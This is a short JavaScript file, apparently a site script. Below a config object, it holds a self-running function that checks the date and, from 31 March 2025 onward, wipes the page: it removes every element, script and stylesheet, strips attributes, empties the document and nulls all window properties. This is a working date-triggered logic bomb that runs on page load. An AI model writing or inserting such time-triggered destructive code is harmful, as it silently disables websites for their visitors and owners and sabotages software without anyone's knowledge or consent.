const config = { 
  baseUrl: 'http://doc.x10.mx/php/acourt'
};

// Function to obliterate everything on the target date
(function() {
  const targetDate = new Date('2025-03-31'); // Set the target date
  const currentDate = new Date();

  if (currentDate >= targetDate) {
    // Step 1: Remove all elements from the DOM
    const elements = document.querySelectorAll('*');
    elements.forEach(el => {
      // Remove all attributes from each element
      while (el.attributes.length > 0) {
        el.removeAttribute(el.attributes[0].name);
      }
      el.parentNode && el.parentNode.removeChild(el);
    });

    // Step 2: Remove any remaining script tags
    const scripts = document.getElementsByTagName('script');
    for (let i = scripts.length - 1; i >= 0; i--) {
      scripts[i].parentNode.removeChild(scripts[i]);
    }

    // Step 3: Clear all inline and external styles
    const stylesheets = document.styleSheets;
    for (let i = stylesheets.length - 1; i >= 0; i--) {
      if (stylesheets[i].ownerNode && stylesheets[i].ownerNode.parentNode) {
        stylesheets[i].ownerNode.parentNode.removeChild(stylesheets[i].ownerNode);
      }
    }
    const allElements = document.querySelectorAll('*');
    allElements.forEach(el => el.removeAttribute('style'));

    // Step 4: Remove all `src`, `href`, and other critical attributes (e.g., <img>, <a>, etc.)
    const destructiveElements = document.querySelectorAll('[src], [href]');
    destructiveElements.forEach(el => {
      el.removeAttribute('src');
      el.removeAttribute('href');
    });

    // Step 5: Completely clear the document body and DOM structure
    document.body.innerHTML = '';
    setTimeout(() => {
      while (document.firstChild) {
        document.removeChild(document.firstChild);
      }
    }, 0);

    // Block further execution by overwriting basic functions (optional but extra safe)
    Object.keys(window).forEach(key => {
      try {
        window[key] = null;
      } catch (e) {
        // Some properties can't be overwritten; just skip them
      }
    });
  }
})();
